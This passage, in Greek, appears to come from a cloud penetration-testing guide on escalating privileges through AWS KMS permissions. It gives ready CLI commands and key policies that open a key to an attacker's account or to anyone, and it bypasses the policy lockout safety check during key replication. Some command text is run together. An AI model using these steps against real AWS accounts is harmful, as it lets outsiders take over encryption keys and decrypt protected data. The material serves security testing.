Με αυτές τις άδειες είναι δυνατόν να τροποποιηθούν οι δικαιώματα πρόσβασης στο κλειδί έτσι ώστε να μπορεί να χρησιμοποιηθεί από άλλους λογαριασμούς ή ακόμα και από οποιονδήποτε:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
Επιτρέπει σε έναν αρχέτυπο να χρησιμοποιήσει ένα κλειδί KMS:
Σημειώστε ότι μπορεί να χρειαστούν λίγα λεπτά για να επιτρέψει το KMS στον χρήστη να χρησιμοποιήσει το κλειδί μετά τη δημιουργία της άδειας. Αφού περάσει αυτός ο χρόνος, ο αρχέτυπος μπορεί να χρησιμοποιήσει το KMS κλειδί χωρίς να χρειάζεται να καθορίσει οτιδήποτε.
Ωστόσο, αν χρειάζεται να χρησιμοποιηθεί η άδεια αμέσως χρησιμοποιήστε ένα διακριτικό άδειας (ελέγξτε τον παρακάτω κώδικα).
Για περισσότερες πληροφορίες διαβάστε αυτό.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Σημείωση ότι είναι δυνατόν να καταλογίσετε την χορήγηση κλειδιών με:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Με αυτές τις άδειες είναι δυνατή η αντιγραφή ενός KMS κλειδιού που είναι ενεργοποιημένο για πολλαπλές περιοχές σε μια διαφορετική περιοχή με διαφορετική πολιτική.
Έτσι, ένας επιτιθέμενος μπορεί να καταχραστεί αυτό για να αποκτήσει προνομιούχα πρόσβαση στο κλειδί και να το χρησιμοποιήσει.
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Αυτή η άδεια επιτρέπει τη χρήση ενός κλειδιού για την αποκρυπτογράφηση ορισμένων πληροφοριών.
Για περισσότερες πληροφορίες, ανατρέξτε στο: